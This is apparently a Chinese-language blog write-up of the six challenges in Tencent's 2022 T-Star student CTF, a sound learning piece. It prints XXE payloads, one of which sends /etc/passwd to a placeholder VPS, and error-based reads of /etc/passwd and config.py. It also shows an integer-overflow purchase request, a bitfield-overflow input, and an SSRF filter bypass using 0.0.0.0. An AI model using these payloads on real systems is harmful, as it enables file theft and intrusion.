CTF | 2022 未知之境 腾讯网络安全T-Star高校挑战赛 WriteUp


本文首发于跳跳糖:https://tttang.com/archive/1577/

引言

Into the Unknown|腾讯网络安全T-Star高校挑战赛

主办方:腾讯安全应急响应中心(TSRC)

比赛时间:04/20 10:00 ~ 04/24 18:00

招募对象

全日制在读大学生(包括专科院校、硕博学生,年级、专业、地区不限)

无论你是安全专业学生,还是解密游戏爱好者,都可以在这里大展身手!

排名规则

  1. 个人报名参赛,在线破解

  2. 比赛共6题,分值分别为100、100、200、200、300、300,排行榜满分为1200分

  3. 排名逻辑

  • 总分不同,分数高>分数低。

  • 总分相同,时间优先。即,根据所答最后一题时间先后,先答题者排名更高。

https://cloud.tencent.com/developer/competition/introduction/10042

说起来挺早就看到了这个比赛,后来比赛开始群友又在群里推了一下,不过第一天喵喵从早到晚上了一天课,深夜才来瞄了一下题目。

总体而言整个题目有点像个剧情,类型偏向 Misc 和 Web,正好就合喵喵胃口了。由于有的题目脑洞有点大,再加上后面还有课以及其他事情,一般是半夜在看题,以至于想不通怎么做挺难受的睡不着,直到22号下午才把所有题目 AK,最后排名第17。

唉,看了看榜首的 ha1c9on、Yoshino-s 等大师傅都挺熟悉了,他们第一天晚上就 AK 了 Orz,喵喵还是太菜了。

那下面就来记录一下解题的过程吧,大部分边做边写的,可能包含一些误导性的内容,希望各位师傅不要在意。

banner 的海报里居然说“最有趣”,广告法警告(小声bb

赛题一 未知之境

Into the Unknown……未知之境……

你看着屏幕上的文字,陷入了沉思。加密你的文件,还拍下了你的一举一动……不管这个人是谁,他都是蓄谋已久。

那么,是不是应该拒绝?可人生的另一种可能……带领你走向未知……一股熟悉的躁动在指尖传来,不管这个设下圈套的人是谁,他一定都对你极为了解:他知道你不会轻易放弃,你知道你会接受挑战。

这是作为一个优秀的黑客,必不可少的品质。

你点开了这个神秘的网站。

http://175.178.148.197:5000/

这……似乎需要你完成手机号验证才能登陆。进到这个网站后台,是否有更多消息?

提示:web题,flag为T-Star{字符串}中的字符串,严禁使用扫描器进行路径/验证码暴力破解,此操作对解题没有帮助并将对恶意扫描IP进行封禁。

登录界面,手机验证码点击发送,返回里的 debug 就带有验证码,输入即可通过登录验证。

进来之后看上去是个直播间,但里面其实都是播放的视频。

后端是 gunicorn,前端是 react + webpack 打包的,没开 source map。

看了老半天前端杂乱的 js,感觉也没几个 api。

/api/info?id=1

遍历了 id 也就三个好像,没啥有意思的发现,也没试出来 sql 注入。

点赞接口比较可疑。

POST /api/like HTTP/1.1
Host: 175.178.148.197:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 10
Origin: http://175.178.148.197:5000
Connection: keep-alive
Referer: http://175.178.148.197:5000/
Cookie: session=eyJsb2dpbiI6dHJ1ZX0.YmEloQ.HoKxH0jZ72zQK_jLKiYUMt8ZIBw
Pragma: no-cache
Cache-Control: no-cache

{"id":"1"}

response:

{"status": true, "data": {"count": 891}}

试了下注入,没啥用。

{"status": true, "data": {"count": "No such streamer."}}

其他的接口也就登录、smscode,感觉也没啥用,唔。于是卡了好久。

最后发现居然能传 xml。。

POST data 里随意输入非 JSON 字符串,返回

{"ERROR": "No JSON object could be decoded"}

那试试能不能解析 xml?

Content-Typeapplication/xml,然后构造 XXE payload。

试了下不能回显,得外带(

VPS 上起个 server 放个 test.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vpsip:port/?p=%file;'>">

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://vpsip/test.dtd">
%remote;%int;%send;
]>

然而发现 外带带不出来。。整了个 dnslog 看了也没 dns 解析记录。

那整个报错输出吧。。

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % x SYSTEM "file:///etc/passwd">
	<!ENTITY % y '
		<!ENTITY &#x25; z "<!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;x;&#x27;>">
		&#x25;z;
	'>
	%y;
]>
<message>233</message>

可以读文件,那 flag 在哪呢?

发现读不了 /proc/self/environ,因为 0x00 不能解析。(Char 0x0 out of allowed range

那直接用 cwd 读 app.py 吧。

可惜遇到引号被截断了,可是 python 不像 PHP 可以用伪协议进行一些编码,不懂 python 能不能编码一下。。希望有大师傅带带喵喵。

接下来读一下 config.py

POST /api/like HTTP/1.1
Host: 175.178.148.197:5000
Content-Length: 272
Accept: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/xml
Origin: http://175.178.148.197:5000
Referer: http://175.178.148.197:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-HK;q=0.8,zh-CN;q=0.7,zh;q=0.6
Cookie: session=eyJsb2dpbiI6dHJ1ZX0.YmDQVQ.XDtZokQz966yViM6teda1VnD42Y
Connection: close

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % x SYSTEM "file:///proc/self/cwd/config.py">
	<!ENTITY % y '
		<!ENTITY &#x25; z "<!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;x;&#x27;>">
		&#x25;z;
	'>
	%y;
]>
<message>233</message>

拿到 flag

T-STAR{welcome.good/start!}

References & Extended Reading

赛题二 ID背后

你紧盯着网站界面,这一番功夫下来,除了这个ID,你一无所获。可惜,ID不会说话。

等等……ID,真的不会说话吗?这个ID……会不会藏着更多信息?有没有可能,定位到这个ID背后的主人,究竟在在哪里?

提示:答案为城市名(限中文/小写英文) eg. 北京或者beijing

试了下上一题 /api/info 那里返回的信息,成都,不对。

瞄了眼直播间的 ID,nightBaron042,还有个 [ TIPS ] 欢迎关注主播的微博

https://weibo.com/u/7704722851

视频里有个 ID yuyangzhou

搜了下反正也是腾讯的员工。

随便猜一下 深圳 吧,噢对了。(跑

官方解答是那条微博里两张图 diff,不同点的坐标作为经纬度得到是深圳,唔,反正盲猜也不是不行(

赛题三 视线之外

一不做二不休,你决定索性去目的地一探究竟。

你跟着指示一路找了过来,发现自己站在一扇紧锁的大门前。刚一靠近,门禁系统就发生了刺耳的警告声。

硬闯显然是不可能的,你紧盯着大门上的标志,突然灵光一现:试试捕捉流量吧!

果然,你捕捉到了一段流量!这个里面,会不会有你需要的关键信息?

http://175.178.148.197/031ocvpfrc1b79a0f61/pkt

提示:包含多个小关卡,请提交最后一关答案,答案不带T-Star{}.

流量包啊,看起来是 adb 的流量。

得到 pass: yun202203

看起来是 adb backup,是安卓系统备份文件ab格式。

选择原始数据导出来,再去掉多余的 OKAY,得到纯粹的 .ab 文件。

利用 Android backup extractor 和前面的密码,将备份文件解包。

Utility to extract and repack Android backups created with adb backup (ICS+). Largely based on BackupManagerService.java from AOSP.

可以直接下载打包好的 jar

https://github.com/nelenkov/android-backup-extractor/releases/

另外需要用高版本的 java 来运行。

java -jar abe.jar unpack data.ab data.tar yun202203

瞄一下得到的 tar

有一个 apk,也就是 backup 指定的那个。

逆向看看。

Step1.class

package ctf.misc.step;

public class Step1 {
   public static String FlagStep1 = "175.178.148.197:80";
}

MainActivity.class

package ctf.misc.step;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
   protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2131296283);
   }
}

获得了 Flag 第一部分,也就是那个 IP。其他的文件翻了挺多没找到啥有意义的?

再看这个压缩包 .d.zip

private_key.pem

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQCkbqcFM+hbrP+3DERi3gJY9rfwVhzAmBzbgpCAxnWO/Ip1OKtF
RgSyqxJnzzptHTFvqbUbP/+Umqm/MfwrorYHyr3rfm70yM4qX4bpYCIWMkzeplEx
V9Y3o3pVw7w/ISTzRVO5Woi/eyTDgVwguOKb9Fi9QLjCrxeWL9AtsKnsawIDAQAB
AoGBAJac2BV250VZn9yNuvIIQoQ0cGUOq0VpzzztSej6X2G6RiR65L4OFW2GLtSx
RuX9EHQkMUQlibgXNpZvdXiOkEX44W14JisHfJ2fCLdUKjr/aqDSR3Yo8+raaght
FUIZyJQG1SqJM+PV2HqKPOW3+IQ6HRAxST+H0l5sUqWPmjQpAkEA0jZHZOV1UJdJ
MK+iXHjpGHaXz5u6MlNuRaLioBjcvCzduZgmFuazMwkVBqy7l6R4UOMqt4HRbkUi
5uwfZnbDdwJBAMg/oJz07C4cHmci9J5NNHruToc3JEQz8pmBAKwlM9IKwEtr8NHM
4sIiW7i1K2RVHs3Uxi7iVnGHT6sF/ErKE60CQQCMGGqaXqZB0KGRlevyDw7iI99n
GFUORzYdqMG6ivdJXeljUHhKGPRi1fGyYhofpRgeaFdGt3j5MZBiMAl5QztfAkAy
DV1a/gkuuU6MHvufudJ9S6WLPKgu+AESh2Egpifev1szPuaxuhGPzsC4WWhgKrqJ
Xj6vJ1nOBLFQIS3fj8T9AkAqFjwCoZjy8cvI2/xyJa65NqeWsPI8rHB76cSmsdhb
3Gtz+ZNfPpVF5pN3F0/eMdA7VsOlc4Ea40DlHIY9Yjdg
-----END RSA PRIVATE KEY-----

key.en 大概率是加密的签名,网上找个工具解密一下。

https://www.bejson.com/enc/rsa/

需要把密文 base64 编码一下

$ cat key.en | base64
ch/mu/NWBxYPZLqN1BD/eXm5IogOvubhhvJxQNqMtX9tm7zaM/xiq0cOGiFBkakf0FAOObLqnpf5
7+mp5b47QX/GQoXCmexyESXXiAVCQYNQ9JD2HPyb2FJsqhHKxlou6cbPSWKoxbLqm89AKtZOObMk
kOZgm8qF91gUrR3Vd8Y=

或者用 http://tool.chacuo.net/cryptrsaprikey 也行

本地的话也可以拿 openssl 来

$ openssl rsautl -decrypt -in key.en -inkey private_key.pem -out key.de
$ cat key.de         
9BlteBJnZpwrRjbL0DsGlFz5M+MDG74jYIj0zzivGPVW75jYZQpdzpfrpEBcXAJqHrlZlEw9hMhRQ8FijkATyMxpKsPXEWT5K6M5

加密的话类似于

openssl rsautl -encrypt -in data.txt -inkey public.key -pubin -out data_en.txt

后来发现直接 cyberchef 就能加解密(

解密得到明文

9BlteBJnZpwrRjbL0DsGlFz5M+MDG74jYIj0zzivGPVW75jYZQpdzpfrpEBcXAJqHrlZlEw9hMhRQ8FijkATyMxpKsPXEWT5K6M5

当作密码解压 flag.zip,内容为

1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111

binary 转 ASCII 没啥可见字符。总共841字符,正好29*29. 盲猜是二维码,那画个图吧。

#!/usr/bin/env python3
from PIL import Image
MAX = 29
pic = Image.new("RGB",(MAX, MAX))
str = "1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111"
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

得到一个二维码

扫码得到

/033yia8rqea1921ca61/systemlockdown

拼一下,访问 http://175.178.148.197/033yia8rqea1921ca61/systemlockdown

得到一个文件,是个 zip 压缩包。

readme

门禁用的是Windows 10,x86系统……经过一番分析,你成功拿到了门禁系统源码,可喜的是,门禁认证系统已经写死,即使是管理员也无法更新。
但,就在破解源码的过程中,管理员也觉察到门禁源码泄露,提前关闭了门禁系统,你输入的密码将无法认证。
时间一分一秒过去,不能再犹豫了,需要立即输入密码,解锁门禁。

PS: MSVC 2015以后的版本编译,Debug,不开启任何优化,请以提供的附加材料为准(Binary与下列源码表现一致,输入的答案通过与否请以该Binary的输出为准)。
flag:如果你认为输入12345可以解锁门禁,则请提交答案:md5(12345)


#include <iostream>

struct door_key {
	unsigned char passed : 1;
	unsigned char checksum1 : 2;
	unsigned char checksum2 : 2;
	unsigned char checksum3 : 3; 
};

//The system doesn't allow ANYBODY to log in now.
#define SYSTEM_SHUTDOWN 1

void check(char* password, door_key* d) {
	if (SYSTEM_SHUTDOWN) {
		return;
	}

	if (memcmp(password, "888888", 6) == 0) {
		d->passed = 1;
		d->checksum1 = 88;
		d->checksum2 = 88;
		d->checksum3 = 88;
	}
}

void call_the_police() {
	abort();
}

int main()
{
	door_key* checker1 = 0; 

	struct { 
		char password[6];
		char key_data;
	} management = { 0 };

	char ch = 0;
	char last_ch = 0;
	int i = 0;
	
	if (SYSTEM_SHUTDOWN) {
		std::cout << "Notify from the administrator: NOBODY is allowed to login now!!!" << std::endl;
		std::cout << "YOUR LOGIN REQUEST WILL NOT BE HANDLED AND WE WILL CALL THE POLICE INSTANTNLY IF YOU DIDN'T PASS THE CHECK." << std::endl;
	}
retry:
	std::cout << "Please enter your 6-digit password, type '[6 digit number] then Enter' to confirm (For example: 123456): " << std::endl;
	for (i = 0; i <= 6; i++) {
		ch = std::cin.get();

		if (ch == '\n')
			break;
		if (!isdigit(ch) && ch != '\n')
			call_the_police();

		// Developer A:
		//  Add an easy check, our strong 6-digit password is 888888 ! 
		//  Pre-check if every digit is the same. 
		if (ch != '\n' && last_ch && ch != last_ch) 
			call_the_police();
		
		last_ch = ch;
		management.password[i] = ch;
	}; 

	checker1 = (door_key *)&(management.key_data); 

	check(management.password, checker1);

	if ((checker1->passed && (checker1->checksum1 == checker1->checksum2) && checker1->checksum3 > 0)) {
		std::cout << "Congurations! You have entered the correct password.";
	}
	else
		call_the_police();
}

还给了二进制文件。

喵喵不大会逆向,静态+动态分析了一下,由于开了 debug,不大好逆,摸了。

不过可以知道的是,可以输入7位字符,如果最后一位非 \n 且非 0x00,那就能溢出让 checker1->passed 为真。

同时 checker1 = (door_key *)&(management.key_data); 这里会把最后一位字符强制转换为 struct door_key,最后校验的是 (checker1->checksum1 == checker1->checksum2) && checker1->checksum3 > 0

又根据代码和注释,输入的每一位数字应该都是相同的。

随便试了试,7个5就成功了。

md5(5555555)

992e63080ee1e47b99f42b8d64ede953

其实原理是 这个 ASCII char 的值的每一个 bit 强制转换到这个结构体的每一 bit。

5 的 ASCII 对应了 0x35,即 00110101,分配到 struct 就变成了

passed = 1 / checksum = 01 / checksum2 = 01 / checksum3 = 001

于是就满足条件了,而其他数字都不符合。

References & Extended Reading

赛题四 人去楼空

终于成功解开了门禁!进入了紧闭的房间,这里似乎曾经是一个总部实验室,然而此刻已是人去楼空,房间里空荡荡的,一个人都没有。

看来,不管这里曾经是谁在这里,房间里的秘密都已经随着主人一起离开了。

突然,一股刺耳的闹钟铃声划破寂静——

竟然有人在这里留了一部手机?难道说,你的一举一动都在人的意料之中?

铃声不知疲倦地响着,似乎笃定了你会接。

你拿起了手机。

这里面是有什么信息吗?

http://175.178.148.197/b378603d0266d73e743c8d05f5bc3ebe.zip

提示:需要修复二维码与压缩包,分析出压缩包密码,答案为解压后的TXT内容

解压得到一个 破镜重圆 文件夹

残缺的二维码

熟练地打开 ps,复制一个定位块到左上角

残缺的二维码_fix

扫码得到 https://public.huoxian.cn/ctf/call_me.zip

下载下来里面有个加密的 flag.txt,看来得从另一个 我真是一个压缩包.zip 里拿解压密码了。

010editor 瞄一眼,发现头部文件头被改了,改回去 504B0304

解压得到 永不消逝的电波.mp3

啊,又是熟悉的 Morse。

.---- ----. ----. .---- ----- ...-- ---.. -.... --... ----. --...

解码得到

19910386797

当成密码解压得到 flag.txt

https://darknet.hacker5t2ohub.com/

(所以这个手机号会不会有用呢 后来发现没用

赛题五 不眠之夜

这个网址!你知道!这是一个搜索引擎无法捕捉的地方,一个黑暗的平行世界。在这个世界里,毒品、信息贩卖、军火交易、谋杀等一系列被法律所禁止的事情,都得到了罪恶土壤,一切交易都通过平台上特定的货币隐秘地进行。

据说只要有「足够」的钱,你能买到任何需要的信息。

这个网站里会不会有你需要的线索?他们可靠吗?

未知,恰恰最能激起你的征服欲。

你决定铤而走险,向黑市进发。

提示:需要先解出第4题获得入口,会一点点Go更佳,flag为T-Star{字符串}中的字符串

上一题的网址 https://darknet.hacker5t2ohub.com/

拿qq登录

(啥小电影啊多来点 快暴打出题人

直接买那个 1000 的付费咨询。试了下购买这里 amount 用了 ParseInt,存在整数溢出。

那到底是多大才能溢出呢?

GET /trpc.cors_filter_test.common.Darknet/Purchase?amount=4294967296&gid=0x9
==>
{"code":1, "msg":"service codec Unmarshal: 1 error(s) decoding:

* cannot parse 'amount' as int: strconv.ParseInt: parsing "4294967296": value out of range"}

GET /trpc.cors_filter_test.common.Darknet/Purchase?amount=65536&gid=0x9
==>
{"code":500, "msg":"商品数量非法,请重试"}
...

最后各种试了发现是 33 34 溢出,唔……

GET /trpc.cors_filter_test.common.Darknet/Purchase?amount=34&gid=0x9 HTTP/1.1
Host: darknet.hacker5t2ohub.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: xxxxx
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: https://darknet.hacker5t2ohub.com/item.html?gid=12
Cookie: sTok=xxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

再看余额就能随便买东西了。

这感觉还有点精心设计了,只有33、34可以满足条件。

赛后才发现确实是 golang 的特性,是因为总价格卡在了 int16 的边界。

int8 : -128 to 127
int16 : -32768 to 32767

而 1000 * 33 或者 1000 * 34 正好 > 32767 实现溢出,再大就库存不足了。

这时候再看收件箱

商品【付费咨询】购买成功,信息如下: 前往微信公众号“腾讯安全应急响应中心”(tsrc_team),回复"T-Star666"获取信息

离谱,又是套娃。

回复后得到:

你要找的人,即将发起大范围蠕虫攻击!行动计划就藏匿在邮件中,只有解出密匙才能破除攻击!http://159.75.190.64/

[email protected]
nightBaron1996

怎么又是这玩意,微博和比赛介绍里都见过。

https://mail.sohu.com 拿上面的邮箱和密码登录一下。

(赛后才发现原来微博那张图的桌面上贴了张纸条,上面就有密码,乐

Hi bros,

冬去春来,终于迎来此刻。等待良久,时机已经成熟。等待的日子里,我看了很多书,那些书页中的章节和段落就像时钟的时针和分针一样不断前行,指引我们通向胜利。

这次行动一切顺利,我将乘胜追击,发起勒索病毒蠕虫攻击,对所有目标电脑文件进行加密,并自动扩散,只有我的KEY才能解密。

数据勒索加密行动已经于今天 1点8分 启动。须知,T-Star特工诡计多端,为防他们从中作梗,我已将KEY进行HASH处理,分别交由不同的人保管。以他们的算力,应该很难破解。米特尼克曾经写道,人的因素是安全过程中最薄弱的环节。各位务必提高警惕,严加保密、妥善储存。

这封邮件非常重要,关键时刻将发挥巨大作用,好戏在即,各位拭目以待。

Key Hashes Part 1: https://pastebin.com/QZ7QBmmd




NightBaron
Address: Soldier Island 

Github: nightBaron042


IF YOU'RE LOOKING, YOU WON'T FIND IT

同理,拿到另外两部分 hash。

Key Hashes Part 2: https://pastebin.com/TUNVRVvk
Key Hashes Part 3: https://pastebin.com/rTqtad96

麻了,是一堆 hash。

瞄了眼 GitHub https://github.com/nightbaron042 ,发现没啥用,好像还是去年留下的?

没办法,拿去 somd5cmd5 氪金搜了下,解得了部分明文。

寻思着是不是每个作为一个 key 当成字典发过去?

写了个脚本试试。

import requests
from urllib.parse import quote

with open('parts.txt', 'r', encoding='utf-8') as f:
    d = f.read()

l = d.split('\n')
print(len(l))

for k in l:
    data = {
        "key": quote(k)
    }
    h = {"Content-Type": 'application/x-www-form-urlencoded'}
    r = requests.post('http://159.75.190.64/', data=data, headers=h)
    if 'key错误' in r.text:
        print(k, 'error')
    else:
        print('!!!!!!!!!!!!!!!!!!', k, 'ok')
        print(r.text)
        break

可惜不是。

又看了看这感觉像一段话啊,拼起来得到

print(''.join(l))
# Securit is too often merely anion,ionmes made even worsebility, naivete, orance come into play. The mostctedtist of the twentieth Albert isquoted as two things areinfinite, the universe and humanstupidity, I'm not sure about Inend, social engineeringattacks can succeed when people stupidor, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious many information technology (IT) professionals hold to the misconception that made their companies largely immune to attack because deployed standard security products - firewalls, intrusion detection or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks

咕咕噜加上引号强制匹配搜了一下,找到原文了!

https://pt.slideshare.net/ragazome/kevin-mitnick-the-art-of-deception?smtNoRedir=1

Kevin Mitnick - The Art of Deception 凯文米特尼克《欺骗的艺术》

Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.

另外,看了官方 wp 才知道原来邮件里的 1点8分 是说第一章的第8段。。

把这段话复制一下,当成 key 拿去提交,得到 flag。

key正确,恭喜恢复电脑,快去提交flag吧:flag{ski931iwasjudqwkashajdsakdhadjshakdhsahkd}

(麻了,其实事实上没必要花费那么多次数来解 md5,直接搜前几个词就行

Reference & Extended Reading

golang的一些安全问题

赛题六 恢复文档

借助网站的帮助,你终于成功恢复了电脑。

但……这个文档?这个文档里又是什么?

这一切都是某个人不怀好意的玩笑吗?

http://175.178.148.197/0615giqrzc8ab524761/guess

提示:包含多个小关卡,请提交最后一关flag,flag为T-Star{字符串}中的字符串.

010editor 瞄一眼文件,嗯熟悉的 word,随手改后缀名为 .docx

(这里的 flag2 是隐藏文字。

喜欢我给你的惊喜吗?
我已将线索藏到三个不同的地方,
其中一个提示为123456
来找我吧,
记住,你只能一个人来
否则,你会受到惩罚哦

Flag2 : 772e91/webs

后面还有一张图。

docx 当成压缩包打开,在 word/document.xml 里看到了一串奇怪的字符。

看起来设置了一个书签,名称为 GE3TKLRRG44C4MJUHAXDCOJX

base32 decode,得到 175.178.148.197(怎么还是这个 IP……

下面图片的描述提示了 屏幕上有字&#xA;&#xA;描述已自动生成,感觉没啥用,应该是 word 自动生成的描述吧(

再看图片,熟练地从docx压缩包里提取出来,然后试了各种隐写工具,最后发现是 outguess。。(噢我没注意看 docx 名字

$ outguess -r -k "123456" image1.jpg data.bin
Reading image1.jpg....
Extracting usable bits:   88951 bits
Steg retrieve: seed: 109, len: 15

得到

/062ycz7s9458b

拼接一下,175.178.148.197/772e91/webs/062ycz7s9458b

http://175.178.148.197/062ycz7s9458b772e91/webs/

可恶的套娃,是 SSRF 啊。那么 flag 在哪呢?

试了下 file 协议发现不行。

随手试了下 http://175.178.148.197/062ycz7s9458b772e91/webs/flag.php

那就拿 SSRF 访问这玩意好了。

ban 了 127.0.0.1,拿 0.0.0.0 绕过就行。(发现 [::] 不行 2333

或者用 127.0.0.2 也行。

http://175.178.148.197/062ycz7s9458b772e91/webs/?url=http://0.0.0.0/062ycz7s9458b772e91/webs/flag.php

T-STAR{ThereAreNoBoundaries}

小结

摸了,终于 AK 了,咱第17名……

怎么说呢,感觉总体上题目偏向 CTF 比赛中的 Misc 和 Web,质量还是说得过去的,还是比较有趣的,相对于 某 src 开展的活动质量高不少,hhh

虽然感觉题目挺套娃的就是了……以及最让咱脑洞的居然是第一题那个 XXE,100分的题目居然这么难想到,而第二题随便猜就能猜到,挺离谱的。

另外,好多个题目都用了同一个靶机,相当于 flag 的第一部分等于白送了,也正因为如此,前几天的时候服务器巨卡,第一题虽然说了不要用扫描器,但还是一堆人同时访问,肯定也有人在扫,没办法更加卡了。

不知道是不是主办方经费有限的原因,反正建议下次可以的话每个题多设置几台靶机,做题体验还是比较重要的。

不管怎么说,多多少少还是学到了点知识的,那就写到这里吧。

官方 writeup 也出来了:

【官方题解】腾讯网络安全T-Star高校挑战赛write up

同时,也欢迎师傅们来「Funny Web CTF」和朋友们讨论有趣的话题的喵~ https://t.zsxq.com/7y7iAuf

(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录